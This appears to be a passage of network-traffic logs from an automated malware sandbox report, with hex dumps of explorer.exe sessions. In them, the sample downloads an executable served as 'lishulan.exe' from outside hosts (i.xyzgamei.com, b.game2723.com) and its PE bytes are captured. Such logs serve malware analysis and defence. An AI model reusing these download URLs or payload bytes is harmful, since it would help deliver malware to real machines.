2022-08-30 13:56:20 UTC	758	IN	Data Raw: 08 89 45 dc eb 07 c7 45 dc 00 00 00 00 8b 45 dc 89 45 e0 83 7d e0 00 75 04 33 c0 eb 67 0d 0a Data Ascii: EEEE}u3g
2022-08-30 13:56:20 UTC	758	IN	Data Raw: 31 30 30 30 30 0d 0a 8b 4d e4 d1 e1 51 6a 00 8b 55 e0 52 e8 3f a0 fe ff 83 c4 0c 8b 45 e4 50 8b 4d e0 51 8b 55 14 52 8b 45 10 50 6a 01 8b 4d 1c 51 ff 15 54 12 40 00 89 45 e8 83 7d e8 00 74 19 8b 55 18 52 8b 45 e8 50 8b 4d e0 51 8b 55 0c 52 ff 15 64 12 40 00 89 45 ec 8b 45 e0 50 e8 c5 fc ff ff 83 c4 04 8b 45 ec eb 04 eb 02 33 c0 8b e5 5d c3 cc cc cc cc cc 8b ff 55 8b ec 83 7d 08 00 75 05 e9 fb 02 00 00 6a 02 8b 45 08 8b 48 04 51 e8 42 b3 fe ff 83 c4 08 6a 02 8b 55 08 8b 42 08 50 e8 31 b3 fe ff 83 c4 08 6a 02 8b 4d 08 8b 51 0c 52 e8 20 b3 fe ff 83 c4 08 6a 02 8b 45 08 8b 48 10 51 e8 0f b3 fe ff 83 c4 08 6a 02 8b 55 08 8b 42 14 50 e8 fe b2 fe ff 83 c4 08 6a 02 8b 4d 08 8b 51 18 52 e8 ed b2 fe ff 83 c4 08 6a 02 8b 45 08 8b 08 51 e8 dd b2 fe ff 83 c4 08 6a 02 Data Ascii: 10000MQjUR?EPMQUREPjMQT@E}tUREPMQURd@EEPE3]U}ujEHQBjUBP1jMQR jEHQjUBPjMQRjEQj
2022-08-30 13:56:20 UTC	759	IN	Data Raw: ff c7 00 16 00 00 00 6a 00 6a 18 68 d0 71 40 00 68 bc 71 40 00 68 68 2a 40 00 e8 c0 f8 fe ff 83 c4 14 b8 16 00 00 00 e9 4a 03 00 00 83 7d 14 00 75 5c 8b 55 08 c6 02 00 83 7d 0c ff 74 49 81 7d 0c ff ff ff 7f 74 40 83 7d 0c 01 76 3a 8b 45 0c 83 e8 01 39 05 68 49 44 00 73 0b 8b 0d 68 49 44 00 89 4d e4 eb 09 8b 55 0c 83 ea 01 89 55 e4 8b 45 e4 50 68 fe 00 00 00 8b 4d 08 83 c1 01 51 e8 7b 9a fe ff 83 c4 0c 33 c0 e9 e8 02 00 00 83 7d 10 00 0f 85 bb 00 00 00 8b 55 08 c6 02 00 83 7d 0c ff 74 49 81 7d 0c ff ff ff 7f 74 40 83 7d 0c 01 76 3a 8b 45 0c 83 e8 01 39 05 68 49 44 00 73 0b 8b 0d 68 49 44 00 89 4d e0 eb 09 8b 55 0c 83 ea 01 89 55 e0 8b 45 e0 50 68 fe 00 00 00 8b 4d 08 83 c1 01 51 e8 15 9a fe ff 83 c4 0c 33 d2 83 7d 10 00 0f 95 c2 89 55 f0 83 7d f0 00 75 1e Data Ascii: jjhq@hq@hh*@J}u\U}tI}t@}v:E9hIDshIDMUUEPhMQ{3}U}tI}t@}v:E9hIDshIDMUUEPhMQ3}U}u
2022-08-30 13:56:20 UTC	774	IN	Data Raw: 8b ec 51 8b 45 10 8b 48 0c 83 e1 40 74 18 8b 55 10 83 7a 08 00 75 0f 8b 45 14 8b 08 03 4d 0c 8b 55 14 89 0a eb 60 8b 45 0c 8b 4d 0c 83 e9 01 89 4d 0c 85 c0 7e 50 8b 55 08 8a 02 88 45 ff 8b 4d 14 51 8b 55 10 52 0f b6 45 ff 50 e8 dd 34 ff ff 83 c4 0c 8b 4d 08 83 c1 01 89 4d 08 8b 55 14 83 3a ff 75 20 e8 54 c0 fe ff 83 38 2a 75 14 8b 45 14 50 8b 4d 10 51 6a 3f e8 b0 34 ff ff 83 c4 0c eb 02 eb 02 eb a0 8b e5 5d c3 cc cc cc 8b ff 55 8b ec 83 ec 38 8d 45 d8 89 45 f8 33 c9 83 7d 14 00 0f 95 c1 89 4d d4 83 7d d4 00 75 1e 68 f8 18 40 00 6a 00 6a 70 68 d0 79 40 00 6a 02 e8 8b 91 fe ff 83 c4 14 83 f8 01 75 01 cc 83 7d d4 00 75 2e e8 e7 bf fe ff c7 00 16 00 00 00 6a 00 6a 70 68 d0 79 40 00 68 7c 7a 40 00 68 f8 18 40 00 e8 59 bd fe ff 83 c4 14 83 c8 ff e9 50 01 00 00 Data Ascii: QEH@tUzuEMU`EMM~PUEMQUREP4MMU:u T8*uEPMQj?4]U8EE3}M}uh@jjphy@ju}u.jjphy@h\|z@h@YP
2022-08-30 13:56:20 UTC	790	IN	Data Raw: 42 04 7f 51 8b 4d fc 8b 51 0c 83 ea 01 c1 e2 04 8b 45 fc 8b 48 10 83 7c 11 04 00 74 1e 8b 55 fc 8b 42 0c 83 e8 01 c1 e0 04 8b 4d fc 8b 51 10 8b 44 02 04 0f be 48 08 85 c9 75 1a 8b 55 fc 8b 42 0c 83 e8 01 c1 e0 04 8b 4d fc 8b 51 10 8b 04 02 83 e0 40 74 05 e9 77 ff ff ff 6a 01 8b 4d 24 51 8b 55 20 52 8b 45 fc 50 6a 00 8b 4d fc 8b 51 0c 83 ea 01 c1 e2 04 8b 45 fc 03 50 10 52 8b 4d 18 51 8b 55 14 52 8b 45 10 50 8b 4d 0c 51 8b 55 08 52 e8 c7 02 00 00 83 c4 2c e9 33 ff ff ff 5e 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc 8b ff 55 8b ec 51 8b 45 08 83 78 04 00 74 0e 8b 4d 08 8b 51 04 0f be 42 08 85 c0 75 0a b8 01 00 00 00 e9 81 00 00 00 8b 4d 08 8b 55 0c 8b 41 04 3b 42 04 74 24 8b 4d 0c 8b 51 04 83 c2 08 52 8b 45 08 8b 48 04 83 c1 08 51 e8 c2 4d fe ff 83 c4 08 85 Data Ascii: BQMQEH\|tUBMQDHuUBMQ@twjM$QU REPjMQEPRMQUREPMQUR,3^]UQExtMQBuMUA;Bt$MQREHQM
2022-08-30 13:56:20 UTC	806	IN	Data Raw: 75 08 a1 b8 55 44 00 89 45 fc 8b 4d fc 89 8d 88 fb ff ff c7 45 dc 00 00 00 00 eb 09 8b 55 dc 83 c2 01 89 55 dc 8b 45 dc 3b 85 84 fb ff ff 7d 4c 8b 8d 88 fb ff ff 0f be 11 85 d2 74 3f 8d 4d c0 e8 58 d9 fd ff 50 8b 85 88 fb ff ff 0f b6 08 51 e8 88 53 ff ff 83 c4 08 85 c0 74 0f 8b 95 88 fb ff ff 83 c2 01 89 95 88 fb ff ff 8b 85 88 fb ff ff 83 c0 01 89 85 88 fb ff ff eb a0 eb 64 83 7d fc 00 75 09 8b 0d bc 55 44 00 89 4d fc c7 45 f4 01 00 00 00 8b 55 fc 89 95 80 fb ff ff 8b 85 84 fb ff ff 8b 8d 84 fb ff ff 83 e9 01 89 8d 84 fb ff ff 85 c0 74 1e 8b 95 80 fb ff ff 0f b7 02 85 c0 74 11 8b 8d 80 fb ff ff 83 c1 02 89 8d 80 fb ff ff eb c9 8b 95 80 fb ff ff 2b 55 fc d1 fa 89 55 dc e9 b6 05 00 00 8d 45 14 50 e8 1d b5 fe ff 83 c4 04 89 85 7c fb ff ff e8 4f df fd ff 85 Data Ascii: uUDEMEUUE;}Lt?MXPQStd}uUDMEUtt+UUEP\|O
2022-08-30 13:56:20 UTC	822	IN	Data Raw: ff 00 00 00 00 d0 ff ff ff 00 00 00 00 fe ff ff ff 00 00 00 00 65 a1 41 00 00 00 00 00 0d 0a Data Ascii: eA
2022-08-30 13:56:20 UTC	822	IN	Data Raw: 31 30 30 30 30 0d 0a fe ff ff ff 00 00 00 00 d4 ff ff ff 00 00 00 00 fe ff ff ff 00 00 00 00 71 a2 41 00 00 00 00 00 fe ff ff ff 00 00 00 00 d0 ff ff ff 00 00 00 00 fe ff ff ff 26 c2 41 00 3f c2 41 00 00 00 00 00 e4 ff ff ff 00 00 00 00 88 af ff ff 00 00 00 00 fe ff ff ff 00 00 00 00 7f ca 41 00 00 00 00 00 00 00 00 00 15 c9 41 00 e4 ff ff ff 00 00 00 00 7c 7f ff ff 00 00 00 00 fe ff ff ff 00 00 00 00 b7 d3 41 00 00 00 00 00 00 00 00 00 2a d1 41 00 fe ff ff ff 00 00 00 00 b8 ff ff ff 00 00 00 00 fe ff ff ff 89 dc 41 00 a3 dc 41 00 00 00 00 00 fe ff ff ff 00 00 00 00 cc ff ff ff 00 00 00 00 fe ff ff ff c7 dd 41 00 f7 dd 41 00 00 00 00 00 fe ff ff ff 00 00 00 00 d0 ff ff ff 00 00 00 00 fe ff ff ff f7 ec 41 00 27 ed 41 00 00 00 00 00 fe ff ff ff 00 00 00 00 Data Ascii: 10000qA&A?AAA\|A*AAAAAA'A
2022-08-30 13:56:20 UTC	823	IN	Data Raw: 18 03 00 02 19 03 00 18 19 03 00 36 19 03 00 4a 19 03 00 54 19 03 00 68 19 03 00 7c 19 03 00 90 19 03 00 a8 19 03 00 36 1f 03 00 28 13 03 00 16 13 03 00 fc 12 03 00 d0 12 03 00 de 12 03 00 a0 16 03 00 c0 12 03 00 7a 1a 03 00 90 1a 03 00 ac 1a 03 00 ca 1a 03 00 d6 1a 03 00 e4 1a 03 00 f6 1a 03 00 08 1b 03 00 18 1b 03 00 28 1b 03 00 40 1b 03 00 58 1b 03 00 70 1b 03 00 86 1b 03 00 9a 1b 03 00 ae 1b 03 00 c2 1b 03 00 cc 1b 03 00 d8 1b 03 00 e4 1b 03 00 f6 1b 03 00 04 1c 03 00 18 1c 03 00 24 1c 03 00 32 1c 03 00 48 1c 03 00 52 1c 03 00 62 1c 03 00 6a 1c 03 00 78 1c 03 00 8e 1c 03 00 9a 1c 03 00 aa 1c 03 00 c4 1c 03 00 d4 1c 03 00 ea 1c 03 00 04 1d 03 00 1e 1d 03 00 38 1d 03 00 46 1d 03 00 58 1d 03 00 66 1d 03 00 74 1d 03 00 80 1d 03 00 8e 1d 03 00 9a 1d 03 00 Data Ascii: 6JTh\|6(z(@Xp$2HRbjx8FXft
2022-08-30 13:56:20 UTC	838	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2022-08-30 13:56:20 UTC	854	IN	Data Raw: 64 c0 de 0d bd 86 c1 dd 51 56 02 71 fb c2 89 02 6d 3e 31 87 3f fe 99 3a 28 7a 3c 7c 4c e7 a4 20 5c 4c 6c cc fb fc fd a4 13 10 b8 de f4 49 e4 46 31 d8 1d 7a b1 ac d6 f0 ae c4 d5 34 d3 39 0a a6 2b 62 30 7f a3 53 7a 5a e4 cd 55 e4 d4 19 b7 8a 81 7a c1 bf 64 64 89 1e a2 31 09 ae 2d dc d0 0b 71 d7 7f 6c 27 ff 88 9d 51 0a 69 d9 de 44 63 29 3b 67 1d 6b bd 2d f8 75 d3 0e 22 bd 6b 93 f4 ba 34 04 03 7c 46 52 b4 c3 48 b1 a8 0c 2b cb 84 f6 fe 7f 54 3e 41 18 c0 d1 c9 cb 38 98 0e 89 db 7c 8d e7 f5 86 20 18 fd 8a 5c 0b 8e a7 2f 68 42 d5 43 d4 49 34 e3 68 e4 7e 43 ad a0 7d b5 b1 4e 6a 76 ef e8 36 cd 15 7e 4c a3 54 ae fb e9 69 43 37 b2 65 47 b5 bc c2 31 28 25 cf b2 9a 0a 25 3d 9d d6 7c 24 00 eb a6 d7 81 5f aa 36 34 7a 01 9a 5d 07 67 e8 e0 d4 cc 42 6b 99 5f 01 57 3f 69 33 Data Ascii: dQVqm>1?:(z<\|L \LlIF1z49+b0SzZUzdd1-ql'QiDc);gk-u"k4\|FRH+T>A8\| \/hBCI4h~C}Njv6~LTiC7eG1(%%=\|$_64z]gBk_W?i3
2022-08-30 13:56:20 UTC	870	IN	Data Raw: a0 15 77 4e a6 f8 2c c9 00 2e e6 20 cc cc 57 74 4b 9b 4f 52 b0 5c 09 fb 2c c0 c7 c4 01 71 ad 20 e0 46 92 e3 b8 8e 1c 9c 50 e8 64 73 0d 46 ca 68 5e e2 74 99 2e 1f a2 b4 02 65 1d 4d 8f 66 bb 49 2f df be bf 4d 3a ac 03 03 5c 63 da d6 54 ea 52 85 3f b9 6d 42 2a 3b 88 2c 0c b9 4b 69 80 6c 5f 69 18 52 d9 65 4e 5a 35 a0 e1 20 d6 95 ed 86 9d 55 74 a5 53 81 21 a5 2e 49 b7 b4 b9 a1 13 1e 42 36 35 9b 7e c0 d1 51 54 ad 3f b8 0e 4a 8d da ee e9 47 ea dc dc 1c dd 94 b4 e3 5d d1 4c 2e 05 00 ee b5 20 4e c2 1b 1a c7 47 10 7c 9d ec 2e ff 2c 87 b0 ac 4e 66 43 f2 70 70 bc ee 48 9f 2f 15 08 c2 74 36 b0 77 d1 3e e7 89 5e 8b 1d d2 64 d7 be c6 a8 c9 47 84 0d 2b 51 26 04 09 82 ac 44 f4 b7 4e 4c 40 1f dc 6d e0 af cf 83 0f de 4b 54 ce 62 23 63 ad 7e 88 45 0b d4 a1 96 bb 8d 17 ed 90 Data Ascii: wN,. WtKOR\,q FPdsFh^t.eMfI/M:\cTR?mB*;,Kil_iReNZ5 UtS!.IB65~QT?JG]L. NG\|.,NfCppH/t6w>^dG+Q&DNL@mKTb#c~E
2022-08-30 13:56:20 UTC	886	IN	Data Raw: 54 e6 01 c3 63 c1 36 4b 7b 1f 9a 5c b3 95 fd 72 4c fe 00 9a 2c 2a c8 01 8a 27 fc 8a 82 0d 0a Data Ascii: Tc6K{\rL,*'
2022-08-30 13:56:20 UTC	886	IN	Data Raw: 38 38 30 30 0d 0a 6f 87 90 2e 09 6f 8a 3d bf c2 ad 5c 60 ad 5f 7e 95 ca cb 81 40 b7 8b 12 3f f9 fa 41 61 36 0f 1a 40 07 e8 e1 cb 4f bc e1 a8 79 8d 91 a6 c1 1e 34 d1 86 87 7a 5c 84 82 79 d7 1e 8d 85 8b 40 a3 31 b8 41 df 6e 49 6b 9a 7e c8 da 97 c1 58 8e 51 e1 d9 21 24 61 21 73 ac 13 08 3d 38 20 3d 79 1e 83 86 6d 3a 4e 9c 8c 9e 1a 3c 19 85 05 f9 3d d5 6f 24 ba 59 0d da 7b a2 e3 5c fa 7e 7d d2 29 53 67 b7 e3 7f 34 f1 ea 53 3f 0d 0f d0 03 e7 2c b8 7f 24 2f 33 03 a5 46 58 e9 6a 5d 82 6f e5 8c ac 86 dc 9f 01 ff f6 4f 88 4d 4d 26 b4 11 dc e6 ef 70 07 18 b6 8e fb 94 9a 46 86 b7 c7 7f 7c a3 af 89 6a 74 db cd 80 70 66 4a 9e 53 21 67 52 9d de 2a a1 41 d6 5e fa f6 d4 e4 51 08 61 5c 4b 83 5a f5 eb 55 a3 ff 2a 74 31 d3 4a b6 b5 54 90 c6 88 a8 96 c3 f3 38 c9 d7 db 16 22 Data Ascii: 8800o.o=\`_~@?Aa6@Oy4z\y@1AnIk~XQ!$a!s=8 =ym:N<=o$Y{\~})Sg4S?,$/3FXj]oOMM&pF\|jtpfJS!gRA^Qa\KZUt1JT8"
2022-08-30 13:56:20 UTC	887	IN	Data Raw: b4 ee f7 b0 b7 ed 31 a9 c9 0e 08 0e 0e 3c 41 c8 b6 fa 3a 19 6d 72 9e f5 ef 52 86 5c 49 a4 0f bb 0d 6c af 13 cd cc 18 e4 48 0c 65 76 17 df 89 53 a2 ff 9a 3b 42 69 c9 35 d9 b2 70 11 c7 4d 1e d0 ca c7 a3 42 a4 fb a9 6a 02 09 1f 02 d8 71 4e 7f 4b e3 09 1d 23 33 ac 97 36 b5 fe b1 4a 74 50 55 bf ee 4e 5f 04 92 d5 de 4d 20 39 7c b2 ba 38 8f 8d 22 e3 6e 48 d0 97 ad 85 61 cb bc 57 17 3f 36 c2 35 9d 43 e2 b5 b4 73 c3 dd 81 2f ce 20 29 23 95 12 53 0e 8a 89 4c 4c c5 17 e3 dd b9 4e 90 7f 43 0d 04 e9 e9 4c 4a c0 45 36 88 f5 5e 48 20 a1 1c e9 19 bf 2c 46 b4 12 2c f0 16 c5 ff 87 34 5f 20 d9 43 3d 72 57 9c 6e 33 bd 11 06 a6 7a 37 05 d6 e5 98 c1 00 c8 11 a0 b2 6d a9 c5 5a 5d 05 85 97 78 9b 84 14 25 5f 80 2a 4d 8e 5f 41 e6 69 1a 3a e0 da a8 c3 51 d6 ec a0 9a 91 c5 7c c3 d7 Data Ascii: 1<A:mrR\IlHevS;Bi5pMBjqNK#36JtPUN_M 9\|8"nHaW?65Cs/ )#SLLNCLJE6^H ,F,4_ C=rWn3z7mZ]x%_*M_Ai:Q\|
2022-08-30 13:56:20 UTC	902	IN	Data Raw: 0a 00 00 00 81 00 00 00 0a 00 00 00 82 00 00 00 09 00 00 00 83 00 00 00 16 00 00 00 84 00 00 00 0d 00 00 00 91 00 00 00 29 00 00 00 9e 00 00 00 0d 00 00 00 a1 00 00 00 02 00 00 00 a4 00 00 00 0b 00 00 00 a7 00 00 00 0d 00 00 00 b7 00 00 00 11 00 00 00 ce 00 00 00 02 00 00 00 d7 00 00 00 0b 00 00 00 18 07 00 00 0c 00 00 00 0c 00 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 00 00 00 00 00 00 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: )
2022-08-30 13:56:20 UTC	918	IN	Data Raw: 93 d5 d2 2a 85 d7 e0 29 81 dc d6 22 85 cc ce 22 80 ca d8 38 65 7c 82 4b 70 82 c5 c7 c9 d6 d1 d9 aa c7 d5 d9 3d 80 91 9f 92 de de 37 82 d2 cf 2f 8a d9 dc 39 80 d7 d3 35 94 db d1 38 8f de d4 30 93 df cd 26 00 00 00 00 86 d2 d7 35 88 d7 d1 38 90 cf d5 37 7f d1 d5 2c 35 78 80 85 98 c0 cb e1 80 8f ca d9 49 71 85 6b 99 d7 d5 2e 8d d3 cf 43 89 d7 d4 38 93 de ca 38 87 dc d1 33 95 db db 34 8e e4 d3 21 7c d4 d7 2f 7f cf d3 27 80 d6 d9 36 8e d3 d2 38 8c cc d2 3b 6a 79 85 4d 7c 7d bf d7 3f 7f a5 92 94 d0 d6 34 87 d3 d1 36 80 da d7 3d 80 d2 d5 2e 8e d0 db 40 88 dc ca 30 00 00 00 00 00 00 00 00 98 d8 cf 30 91 de e1 26 98 e1 d6 26 94 e4 dc 2a 98 d9 dd 2d 93 dd d2 29 36 6d 7e 81 3d 63 80 65 93 d9 d6 27 97 d5 d5 21 00 00 00 00 00 00 00 00 00 00 00 00 8d da db 28 8f e5 d4 Data Ascii: )""8e\|Kp=7/9580&587,5xIqk.C8834!\|/'68;jyM\|}?46=.@00&&-)6m~=ce'!(

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.5	49798	104.21.86.228	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-30 13:56:28 UTC	920	OUT	GET /gamexyz/31/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: i.xyzgamei.com
2022-08-30 13:56:29 UTC	920	IN	HTTP/1.1 302 Found Date: Tue, 30 Aug 2022 13:56:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Location: https://b.game2723.com/gamexyz/31/06dc6305622ca0ca43992ae64c25b80f.exe CF-Cache-Status: BYPASS Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=VgZ0KNMGClcuGKbY0%2F1lgSTxU30RaNuQe0jJSCrtaiVttxmgdGWGk42SxwSn7PG46JmVvPVti84Dm8IQ4bYkmrqe18eIkyYcADyaSjVsy2tU2ZrM01S%2FaUvvxeD8FzEvJw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 742e07aefe9c7759-LHR alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2022-08-30 13:56:29 UTC	921	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.5	49800	188.114.96.3	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-30 13:56:29 UTC	921	OUT	GET /gamexyz/31/06dc6305622ca0ca43992ae64c25b80f.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: b.game2723.com
2022-08-30 13:56:29 UTC	921	IN	HTTP/1.1 200 OK Date: Tue, 30 Aug 2022 13:56:29 GMT Content-Type: application/octet-stream Transfer-Encoding: chunked Connection: close Content-Disposition: attachment; filename="lishulan.exe" Content-Transfer-Encoding: binary Vary: Accept-Encoding Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 5100 Last-Modified: Tue, 30 Aug 2022 12:31:29 GMT Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=ppApf%2B0O2WRSj44vJcHpgW5Fhky0Fg8IMSj9OpPCqiHIMqQW%2FMgLJBDh6EGNdqE95zsabXUz1tQg4z12CTDiQ6NpToho0X9GiNpYtRkLPK2td4gR9%2F4DDI0eQJKiru4CDg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 742e07b4ba755c62-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2022-08-30 13:56:29 UTC	922	IN	Data Raw: 31 64 31 63 0d 0a 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ba 27 64 b3 fe 46 0a e0 fe 46 0a e0 fe 46 0a e0 3d 49 55 e0 ff 46 0a e0 d9 80 77 e0 ea 46 0a e0 d9 80 64 e0 ce 46 0a e0 d9 80 67 e0 90 46 0a e0 3d 49 57 e0 f7 46 0a e0 fe 46 0b e0 8d 46 0a e0 d9 80 78 e0 fc 46 0a e0 d9 80 72 e0 ff 46 0a e0 52 69 63 68 fe 46 0a e0 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 71 b5 05 63 00 00 00 00 00 00 00 00 e0 00 03 01 0b Data Ascii: 1d1cMZ@!L!This program cannot be run in DOS mode.$'dFFF=IUFwFdFgF=IWFFFxFrFRichFPELqc
2022-08-30 13:56:29 UTC	922	IN	Data Raw: 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 0c c8 00 00 00 10 00 00 00 d0 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 2c 2b 00 00 00 e0 00 00 00 30 00 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 34 00 00 00 10 01 00 00 20 00 00 00 10 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 00 b0 01 00 00 50 01 00 00 b0 01 00 00 30 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: .text `.rdata,+0@@.dataD4 @.rsrcP0@@
2022-08-30 13:56:29 UTC	924	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2022-08-30 13:56:29 UTC	925	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2022-08-30 13:56:29 UTC	926	IN	Data Raw: 8b ec 83 ec 48 a1 20 10 41 00 33 c5 89 45 fc 57 68 c8 22 41 00 8d 45 f4 50 c6 45 f4 53 c6 45 f5 48 c6 45 f6 45 c6 45 f7 4c c6 45 f8 4c c6 45 f9 33 c6 45 fa 32 c6 45 fb 00 ff 15 0c e0 40 00 50 ff 15 08 e0 40 00 6a 38 8b f8 8d 45 bc 6a 00 50 e8 a0 1e 00 00 83 c4 0c 8d 45 b8 50 c7 45 b8 3c 00 00 00 c7 45 bc 40 04 00 00 c7 45 cc e0 fd 40 00 c7 45 d4 01 00 00 00 89 75 c8 c7 45 c4 d8 22 41 00 ff d7 8b 4d fc 33 cd 5f e8 55 09 00 00 c9 c3 55 8b ec 83 ec 7c a1 20 10 41 00 33 c5 89 45 fc 53 56 57 68 78 fd 40 00 e8 35 fe ff ff 50 ff 15 08 e0 40 00 8b f8 8d 45 9c 50 8d 75 d4 c7 45 9c 72 6f 6f 74 c7 45 a0 5c 63 69 6d c7 45 a4 76 32 00 00 e8 e7 fd ff ff 33 db 53 53 53 6a 03 53 53 53 6a ff 53 ff 15 80 e1 40 00 85 c0 7c 58 8d 45 bc 50 68 34 fb 40 00 6a 01 53 68 04 fc 40 Data Ascii: H A3EWh"AEPESEHEEELELE3E2E@P@j8EjPEPE<E@E@EuE"AM3_UU\| A3ESVWhx@5P@EPuErootE\cimEv23SSSjSSSjS@\|XEPh4@jSh@
